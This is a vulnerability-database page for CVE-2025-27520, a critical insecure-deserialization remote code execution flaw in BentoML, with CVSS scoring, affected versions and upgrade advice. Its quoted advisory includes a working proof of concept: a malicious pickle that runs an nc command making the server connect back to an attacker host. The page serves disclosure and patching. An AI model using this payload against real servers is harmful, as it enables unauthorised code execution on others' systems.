Loading...
Skip to main content

CVE-2025-27520 — Vulnerability in bentoml — CVE Details

CRITICAL

BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization

Published April 4, 2025Updated September 10, 2026Source: osv

Summary

### Summary A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server. ### Details It exists an unsafe code segment in `serde.py`: ```Python def deserialize_value(self, payload: Payload) -> t.Any: if "buffer-lengths" not in payload.metadata: return pickle.loads(b"".join(payload.data)) ``` Through data flow analysis, it is confirmed that the `payload `content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization. ### PoC Environment: - Server host: - IP: 10.98.36.123 - OS: Ubuntu - Attack host: - IP: 10.98.36.121 - OS: Ubuntu 1. Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment. 1.1 Install BentoML (Server host: 10.98.36.123) : ` pip install -U bentoml` 1.2 Define APIs in a `service.py` file (Server host: 10.98.36.123) : ``` Python from __future__ import annotations import bentoml @bentoml.service( resources={"cpu": "4"} ) class Summarization: def __init__(self) -> None: import torch from transformers import pipeline device = "cuda" if torch.cuda.is_available() else "cpu" self.pipeline = pipeline('summarization', device=device) @bentoml.api(batchable=True) def summarize(self, texts: list[str]) -> list[str]: results = self.pipeline(texts) return [item['summary_text'] for item in results] ``` 1.3 Run the service code (Server host: 10.98.36.123) : ``` Bash pip install torch transformers # additional dependencies for local run bentoml serve ``` 2. Start nc listening on the attacking host (Attack host: 10.98.36.121) : `nc -lvvp 1234` 3. Send maliciously crafted request (Attack host: 10.98.36.121) : ``` Python import pickle import os import requests headers = {'Content-Type': 'application/vnd.bentoml+pickle'} class Evil: def __reduce__(self): return(os.system, ('nc 10.98.36.121 1234',)) payload = pickle.dumps(Evil()) requests.post("http://10.98.36.123:3000/summarize", data=payload, headers=headers) ``` 4. Attack success (Attack host: 10.98.36.121) : The server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234. ![nc](https://github.com/user-attachments/assets/858cba4a-6880-498f-b922-dd9a2dc78a85) ### Impact Remote Code Execution (RCE).

Advisory Timeline

  • First published April 4, 2025 (556 days ago).
  • Last revised September 10, 2026 — 523 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

pip
Update bentoml to 1.4.3 or later
pip install "bentoml>=1.4.3"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: pypi (1).

PackageEcosystemAffectedFixed In
bentoml
pypi
1.3.10, 1.3.11, 1.3.12, 1.3.13 (+20 more)1.4.3

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-502
    Deserialization of Untrusted DataMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2025-27520?
BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2025-27520?
CVE-2025-27520 affects bentoml. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-27520 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.8

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-33xw-247w-6hmc
PYSEC-2026-294

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies